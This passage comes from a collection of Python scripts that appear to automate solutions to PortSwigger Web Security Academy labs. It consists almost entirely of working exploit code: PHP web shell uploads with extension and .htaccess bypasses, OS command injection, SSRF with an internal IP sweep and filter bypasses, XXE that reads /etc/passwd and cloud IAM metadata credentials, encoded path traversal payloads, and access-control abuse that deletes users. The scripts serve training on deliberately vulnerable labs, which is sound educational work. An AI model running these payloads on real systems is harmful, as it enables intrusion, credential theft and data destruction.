proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url,verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find("input",{"name":"csrf"})['value']
    return csrf

def file_upload(s,url):
    login_url=url+'/login'
    csrf=get_csrf_token(s,login_url)
    data={'csrf':csrf,'username':'wiener','password':'peter'}
    r=s.post(login_url,data=data,verify=False,proxies=proxies)
    if 'Log out' in r.text:
        account_url=url+'/my-account'
        csrf=get_csrf_token(s,account_url)
        avatar_url=url+'/my-account/avatar'
        
        # Step 1: Upload .htaccess to allow custom extension execution
        params={'avatar':('.htaccess','AddType application/x-httpd-php .sys','application/octet-stream'),'user':'wiener','csrf':csrf}
        boundary="------WebKitFormBoundary"+''.join(random.sample(string.ascii_letters+string.digits,16))
        m=MultipartEncoder(fields=params,boundary=boundary)
        headers={'Content-Type':m.content_type}
        response=s.post(avatar_url,data=m,headers=headers,verify=False,proxies=proxies)
        
        # Step 2: Upload payload with custom extension (.sys)
        params1={'avatar':('sys.sys','<?php system($_REQUEST["cmd"]); ?>','application/octet-stream'),'user':'wiener','csrf':csrf}
        multi=MultipartEncoder(fields=params1,boundary=boundary)
        headers={'Content-Type':multi.content_type}
        r=s.post(avatar_url,data=multi,headers=headers,verify=False,proxies=proxies)
        
        print("[+] The following is the secret file")
        shell_url=url+'/files/avatars/sys.sys?cmd='+'cat /home/carlos/secret'
        res=s.get(shell_url,verify=False,proxies=proxies)
        print(res.text)
    else:
        print("[-] Login was not successful")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    file_upload(s,url)
Practitioner

Web shell upload via obfuscated file extension

import requests
import sys
import urllib3
import random,string
from requests_toolbelt import MultipartEncoder
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url,verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find("input",{"name":"csrf"})['value']
    return csrf

def file_upload(s,url):
    login_url=url+'/login'
    csrf=get_csrf_token(s,login_url)
    data={'csrf':csrf,'username':'wiener','password':'peter'}
    r=s.post(login_url,data=data,verify=False,proxies=proxies)
    if 'Log out' in r.text:
        account_url=url+'/my-account'
        csrf=get_csrf_token(s,account_url)
        avatar_url=url+'/my-account/avatar'
        # Null byte injection to obfuscate extension
        params={'avatar':('system_requirements.php%00.png','<?php system($_REQUEST["cmd"]); ?>','application/x-php'),'user':'wiener','csrf':csrf}
        boundary="------WebKitFormBoundary"+''.join(random.sample(string.ascii_letters+string.digits,16))
        m=MultipartEncoder(fields=params,boundary=boundary)
        headers={'Content-Type':m.content_type}
        r=s.post(avatar_url,data=m,headers=headers,verify=False,proxies=proxies)
        print("[+] The following is the secret file")
        shell_url=url+'/files/avatars/system_requirements.php?cmd='+'cat /home/carlos/secret'
        res=s.get(shell_url,verify=False,proxies=proxies)
        print(res.text)
    else:
        print("[-] Login was not successful")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    file_upload(s,url)

4. PortSwigger OS Command Injection Automation

Automated solutions for Web Security Academy OS Command Injection labs.

Apprentice

OS command injection, simple case

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080',}

def command_injection(s,url):
    path='/product/stock'
    command='3 & whoami'
    data={'productId':'2','storeId':command}
    response=s.post(url+path,data=data,verify=False,proxies=proxies)
    soup=BeautifulSoup(response.text,'html.parser')
    result=soup.find(string=re.compile(r'.*peter.*'))
    if 'not found' in response.text:
        print(f"[-] Command injection not successful,Wrong command {command}")
        sys.exit(-1)
    else:
        print(f"[+] Command injection successful for whoami command response is {result}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vulnerable_website.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    command_injection(s,url)
Practitioner

Blind OS command injection with time delays

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080',}

def get_csrf_token(s,url):
    resp=s.get(url+'/feedback',verify=False,proxies=proxies)
    soup=BeautifulSoup(resp.text,'html.parser')
    csrf=soup.find('input')['value']
    return csrf

def command_injection(s,url,inj):
    path='/feedback/submit'
    command="mail@email.in & "+inj
    csrf=get_csrf_token(s,url)
    data={'csrf':csrf,'name':'0xara','email':command,'subject':'subject','message':'message'}
    response=s.post(url+path,data=data,verify=False,proxies=proxies)
    if response.elapsed.total_seconds() > 10:
        print(f"[+] Command injection successful and vulnerable to time based injection")
    else:
        print("[-] Failed command injection")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"[-] Usage python3 {sys.argv} https://vulnerable_website.com 'sleep 10 \\#'")
        sys.exit(-1)
    url=sys.argv[1]
    inj=sys.argv[2]
    s=requests.Session()
    command_injection(s,url,inj)
Practitioner

Blind OS command injection with output redirection

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080',}

def get_csrf_token(s,url):
    resp=s.get(url+'/feedback',verify=False,proxies=proxies)
    soup=BeautifulSoup(resp.text,'html.parser')
    csrf=soup.find('input')['value']
    return csrf

def command_injection(s,url,inj):
    path='/feedback/submit'
    command="mail@email.in &"+inj
    csrf=get_csrf_token(s,url)
    data={'csrf':csrf,'name':'0xara','email':command,'subject':'subject','message':'message'}
    r=s.post(url+path,data=data,verify=False,proxies=proxies)
    response=s.get(url+'/image?filename=file.txt',verify=False,proxies=proxies)
    if response.status_code == 200:
        print(f"[+] Command injection successful and response is {response.text}")
    else:
        print("[-] Failed command injection")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"[-] Usage python3 {sys.argv} https://vulnerable_website.com  whoami>/var/www/images/file.txt \\#")
        sys.exit(-1)
    url=sys.argv[1]
    inj=sys.argv[2]
    s=requests.Session()
    command_injection(s,url,inj)

5. PortSwigger SSRF Automation

Automated solutions for Web Security Academy Server-Side Request Forgery (SSRF) labs.

Apprentice

Basic SSRF against the local server

import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def delete_user_carlos(s,url):
    data={'stockApi':'http://localhost/admin/delete?username=carlos'}
    r=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
    data_admin={'stockApi':'http://localhost/admin'}
    res=s.post(url+'/product/stock',data=data_admin,verify=False,proxies=proxies)
    if "User deleted successfully" in res.text:
        print("[+] Carlos user deleted successfully")
    else:
        print("[-] SSRF request was not successful")
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    delete_user_carlos(s,url)
Apprentice

Basic SSRF against another back-end system

import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def brute_url(s,url):
    for i in range(1,255):
        ip=f'http://192.168.0.{i}:8080/admin'
        data={'stockApi':ip}
        response=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
        if "200" in str(response.status_code):
            print(f"[+] url found {ip}")
            break
    return ip

def delete_user_carlos(s,url):
    ip=brute_url(s,url)
    data={'stockApi':ip+'/delete?username=carlos'}
    r=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
    data_admin={'stockApi':ip}
    res=s.post(url+'/product/stock',data=data_admin,verify=False,proxies=proxies)
    if "User deleted successfully" in res.text:
        print("[+] Carlos user deleted successfully")
    else:
        print("[-] SSRF request was not successful")
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    delete_user_carlos(s,url)
Practitioner

SSRF with blacklist-based input filter

import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def delete_user_carlos(s,url):
    data={'stockApi':'http://127.1/%61dmin/delete?username=carlos'}
    r=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
    data_admin={'stockApi':'http://127.1/%61dmin'}
    res=s.post(url+'/product/stock',data=data_admin,verify=False,proxies=proxies)
    if "User deleted successfully" in res.text:
        print("[+] Carlos user deleted successfully")
    else:
        print("[-] SSRF request was not successful")
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    delete_user_carlos(s,url)
Practitioner

SSRF with filter bypass via open redirection vulnerability

import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def delete_user_carlos(s,url):
    data={'stockApi':'/product/nextProduct?currentProductId=2&path=http://192.168.0.12:8080/admin/delete?username=carlos'}
    r=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
    data_admin={'stockApi':'/product/nextProduct?currentProductId=2&path=http://192.168.0.12:8080/admin'}
    res=s.post(url+'/product/stock',data=data_admin,verify=False,proxies=proxies)
    if "User deleted successfully" in r.text:
        print("[+] Carlos user deleted successfully")
    else:
        print("[-] SSRF request was not successful")
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    delete_user_carlos(s,url)
Expert

SSRF with whitelist-based input filter

import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def delete_user_carlos(s,url):
    data={'stockApi':'http://localhost%23@stock.weliketoshop.net/admin/delete?username=carlos'}
    r=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
    data_admin={'stockApi':'http://localhost%23@stock.weliketoshop.net/admin'}
    res=s.post(url+'/product/stock',data=data_admin,verify=False,proxies=proxies)
    if "Carlos" not in r.text:
        print("[+] Carlos user deleted successfully")
    else:
        print("[-] SSRF request was not successful")
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    delete_user_carlos(s,url)

6. PortSwigger XXE Injection Automation

Automated solutions for Web Security Academy XML External Entity (XXE) injection labs.

Apprentice

Exploiting XXE using external entities to retrieve files

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def xxe_injection(s,url):
    data = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId><storeId>3</storeId></stockCheck>'
    headers={'Content-Type':'application/xml'}
    response=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
    print("The following are the contents of /etc/passwd files: \n",response.text)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vulnerableserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    xxe_injection(s,url)
Apprentice

Exploiting XXE to perform SSRF attacks

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def xxe_injection(s,url):
    data='<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]><stockCheck><productId>&xxe;</productId><storeId>3</storeId></stockCheck>'
    headers={'Content-Type':'application/xml'}
    response=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
    print("The following are the iam credentials of aws user: \n",response.text)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vulnerableserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    xxe_injection(s,url)
Practitioner

Exploiting XInclude to retrieve files

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def xxe_injection(s,url):
    data={'productId':'1<book xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="file:///etc/passwd" parse="text"/></book>','storeId':'2'}
    response=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
    print("The following is the contents of /etc/passwd: \n",response.text)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vulnerableserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    xxe_injection(s,url)
Practitioner

Exploiting XXE via image file upload

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import random, string
from requests_toolbelt import MultipartEncoder

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def get_csrf_token(s, url):
    r = s.get(url, verify=False, proxies=proxies)
    soup = BeautifulSoup(r.text, 'html.parser')
    csrf = soup.find("input", {"name": "csrf"})['value']
    return csrf

def xxe_upload(s, url):
    post_url = url + "/post?postId=1"
    csrf_token = get_csrf_token(s, post_url)
    print("(+) Exploiting XXE injection...")
    comment_url = url + "/post/comment"
    params = {"csrf": csrf_token,
        "postId": "1",
        "comment": "test",
        "name": "test",
        "avatar": ('test.svg', '<?xml version="1.0" standalone="yes"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>', 'image/svg+xml'),
        "email": "test@test.ca",
        "website": "http://www.test.ca"}
    boundary = '------WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
    m = MultipartEncoder(fields=params, boundary=boundary)
    headers = {'Content-Type': m.content_type}
    r = s.post(comment_url, data=m, headers=headers, verify=False, proxies=proxies)
    print(r.text)

if __name__ == "__main__":
    if len(sys.argv) !=2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    s = requests.Session()
    url = sys.argv[1]
    xxe_upload(s,url)

7. PortSwigger File Path Traversal Automation

Automated solutions for Web Security Academy File Path Traversal labs.

Apprentice

File path traversal, simple case

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def path_traversal(url):
    request_url=url+'/image?filename=../../../../etc/passwd'
    response=requests.get(request_url,verify=False,proxies=proxies)
    if 'root:x' in response.text:
        print("[+] Success the server is vulnerable to path traversal")
        print("[+] The contents of /etc/passwd is :\n",response.text)
    else:
        print("[-] Failed directory traversal")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    path_traversal(url)
Practitioner

File path traversal, traversal sequences blocked with absolute path bypass

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def path_traversal(url):
    request_url=url+'/image?filename=/etc/passwd'
    response=requests.get(request_url,verify=False,proxies=proxies)
    if 'root:x' in response.text:
        print("[+] Success the server is vulnerable to path traversal")
        print("[+] The contents of /etc/passwd is :\n",response.text)
    else:
        print("[-] Failed directory traversal")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    path_traversal(url)
Practitioner

File path traversal, traversal sequences stripped non-recursively

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def path_traversal(url):
    request_url=url+'/image?filename=....//....//....//etc/passwd'
    response=requests.get(request_url,verify=False,proxies=proxies)
    if 'root:x' in response.text:
        print("[+] Success the server is vulnerable to path traversal")
        print("[+] The contents of /etc/passwd is :\n",response.text)
    else:
        print("[-] Failed directory traversal")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    path_traversal(url)
Practitioner

File path traversal, traversal sequences stripped with superfluous URL-decode

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def path_traversal(url):
    request_url=url+'/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34'
    response=requests.get(request_url,verify=False,proxies=proxies)
    if 'root:x' in response.text:
        print("[+] Success the server is vulnerable to path traversal")
        print("[+] The contents of /etc/passwd is :\n",response.text)
    else:
        print("[-] Failed directory traversal")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    path_traversal(url)
Practitioner

File path traversal, validation of start of path

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def path_traversal(url):
    request_url=url+'/image?filename=/var/www/images/../../../../etc/passwd'
    response=requests.get(request_url,verify=False,proxies=proxies)
    if 'root:x' in response.text:
        print("[+] Success the server is vulnerable to path traversal")
        print("[+] The contents of /etc/passwd is :\n",response.text)
    else:
        print("[-] Failed directory traversal")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    path_traversal(url)
Practitioner

File path traversal, validation of file extension with null byte bypass

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def path_traversal(url):
    request_url=url+'/image?filename=../../../etc/passwd%0073.jpg'
    response=requests.get(request_url,verify=False,proxies=proxies)
    if 'root:x' in response.text:
        print("[+] Success the server is vulnerable to path traversal")
        print("[+] The contents of /etc/passwd is :\n",response.text)
    else:
        print("[-] Failed directory traversal")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    path_traversal(url)

8. PortSwigger Access Control Automation

Automated solutions for Web Security Academy Access Control labs.

Apprentice

Unprotected admin functionality

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def access_control(url):
    r=requests.get(url+'/administrator-panel/delete?username=carlos',verify=False,proxies=proxies)
    response=requests.get(url+'/administrator-panel',verify=False,proxies=proxies)
    if "carlos" not in response.text:
        print("[+] Successfully deleted user Carlos")
    else:
        print("[-] Not successful exploit")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    access_control(url)
Apprentice

Unprotected admin functionality with unpredictable URL

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def access_control(url):
    r=requests.get(url,verify=False,proxies=proxies)
    session_cookies=r.cookies.get_dict().get('session')
    soup=BeautifulSoup(r.text,'lxml')
    admin_path_line=soup.find(string=re.compile(r"/admin-"))
    admin_path=re.search("href', '(.*)'",admin_path_line).group(1)
    print(admin_path)
    cookies={'session':session_cookies}
    print(cookies)
    response=requests.get(url+admin_path+'/delete?username=carlos',cookies=cookies,verify=False,proxies=proxies)
    if "200"  in str(response.status_code):
        print("[+] Successfully deleted user Carlos")
    else:
        print("[-] Not successful exploit")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    access_control(url)
Apprentice

User role controlled by request parameter

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url+'/my-account',verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find('input',{'name':'csrf'})['value']
    return csrf

def access_control(s,url):
    csrf=get_csrf_token(s,url)
    data={'csrf':csrf,'username':'wiener','password':'peter'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    if "Log out" in r.text:
        res=s.get(url+'/my-account',data=data,verify=False,proxies=proxies)
        session_cookies=res.cookies.get_dict().get('session')
        cookies={'Admin':'true','session':session_cookies}
        response=s.get(url+'/admin/delete?username=carlos',cookies=cookies,verify=False,proxies=proxies)
        if "200"  in str(response.status_code):
            print("[+] Successfully deleted user Carlos")
        else:
            print("[-] Not successful exploit")
    else:
        print("[-] Failed to login")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    access_control(s,url)
Apprentice

User role can be modified in user profile

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def access_control(s,url):
    data={'username':'wiener','password':'peter'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    if "Log out" in r.text:
        json={'email':'ara@ara.com','roleid':2}
        res=s.post(url+'/my-account/change-email',json=json,verify=False,proxies=proxies)
        if 'Admin' in res.text:
            response=s.get(url+'/admin/delete?username=carlos',verify=False,proxies=proxies)
            if "200"  in str(response.status_code):
                print("[+] Successfully deleted user Carlos")
            else:
                print("[-] Not successful exploit")
        else:
            print("[-] Could not delete user carlos")
            sys.exit(-1)
    else:
        print("[-] Failed to login")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    access_control(s,url)
Apprentice

User ID controlled by request parameter

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url+'/my-account',verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find('input',{'name':'csrf'})['value']
    return csrf

def access_control(s,url):
    csrf=get_csrf_token(s,url)
    data={'csrf':csrf,'username':'wiener','password':'peter'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    if "Log out" in r.text:
        res=s.get(url+'/my-account?id=carlos',verify=False,proxies=proxies)
        soup=BeautifulSoup(res.text,'html.parser')
        key=soup.find(string=re.compile(r"Your API Key is: .*"))
        print(key)
    else:
        print("[-] Failed to login")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    access_control(s,url)
Apprentice

User ID controlled by request parameter, with unpredictable user IDs

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url+'/my-account',verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find('input',{'name':'csrf'})['value']
    return csrf

def carlos_guid(s,url):
    r = requests.get(url, verify=False, proxies=proxies)
    res = r.text
    post_id = re.findall(r'postId=(\w+)"', res)
    post_id_list = list(set(post_id))
    for i in post_id_list:
        r = s.get(url + "/post?postId=" + i, verify=False, proxies=proxies)
        res = r.text
        if 'carlos' in res:
            print("(+) Found Carlos GUID...")
            guid = re.findall(r"userId=(.*)'", res)[0]
            return guid

def access_control(s,url):
    csrf=get_csrf_token(s,url)
    data={'csrf':csrf,'username':'wiener','password':'peter'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    if "Log out" in r.text:
        guid=carlos_guid(s,url)
        res=s.get(url+'/my-account?id='+guid,data=data,verify=False,proxies=proxies)
        soup=BeautifulSoup(res.text,'html.parser')
        key=soup.find(string=re.compile(r"Your API Key is: .*"))
        print(key)
    else:
        print("[-] Failed to login")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    access_control(s,url)
Apprentice

User ID controlled by request parameter with data leakage in redirect

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url+'/my-account',verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find('input',{'name':'csrf'})['value']
    return csrf

def access_control(s,url):
    csrf=get_csrf_token(s,url)
    data={'csrf':csrf,'username':'wiener','password':'peter'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    if "Log out" in r.text:
        res=s.get(url+'/my-account?id=carlos',verify=False,proxies=proxies,allow_redirects=False)
        soup=BeautifulSoup(res.text,'html.parser')
        key=soup.find(string=re.compile(r"Your API Key is: .*"))
        print(key)
    else:
        print("[-] Failed to login")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    access_control(s,url)
Apprentice

User ID controlled by request parameter with password disclosure

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url+'/my-account',verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find('input',{'name':'csrf'})['value']
    return csrf

def access_control(s,url):
    csrf=get_csrf_token(s,url)
    data={'csrf':csrf,'username':'wiener','password':'peter'}
    r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
    if "Log out" in r.text:
        res=s.get(url+'/my-account?id=administrator',verify=False,proxies=proxies)
        soup=BeautifulSoup(res.text,'html.parser')
        password=soup.find('input',{'name':'password'})['value']
        print(password)
        response=s.get(url+'/logout',verify=False,proxies=proxies)
        if "200" in str(response.status_code):
            csrf=get_csrf_token(s,url)
            data={'csrf':csrf,'username':'administrator','password':password}
            r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
            r=s.get(url+'/admin/delete?username=carlos',verify=False,proxies=proxies)
            response=s.get(url+'/admin',verify=False,proxies=proxies)
            if "carlos" not in response.text:
                print("[+] Successfully deleted user Carlos")
            else:
                print("[-] Not successful exploit")
        else:
            print("[-] Logout not successful")
    else:
        print("[-] Failed to login")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    access_control(s,url)
Apprentice

Insecure direct object references

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
